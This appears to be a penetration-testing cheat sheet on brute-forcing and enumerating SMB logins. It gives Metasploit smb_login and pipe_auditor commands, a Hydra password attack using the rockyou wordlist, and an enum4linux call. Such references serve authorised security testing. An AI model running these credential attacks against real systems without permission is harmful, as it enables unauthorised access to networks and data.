Dictionary Attack

This module will test an SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Metasploit

msfconsole
use auxiliary/scanner/smb/smb_login 
set rhosts $IP
set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
set smbuser $USER_NAME # first there`s a need to enumerate some users
run

Hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP smb

SMB pipes

msfconsole
use auxiliary/scanner/smb/pipe_auditor
set smbuser $USER_NAME
set smbpass $PASSWORD
set rhosts $IP
run

enum4linux

enum4linux -r -u "$USER_NAME" -p "$PASSWORD"

Last updated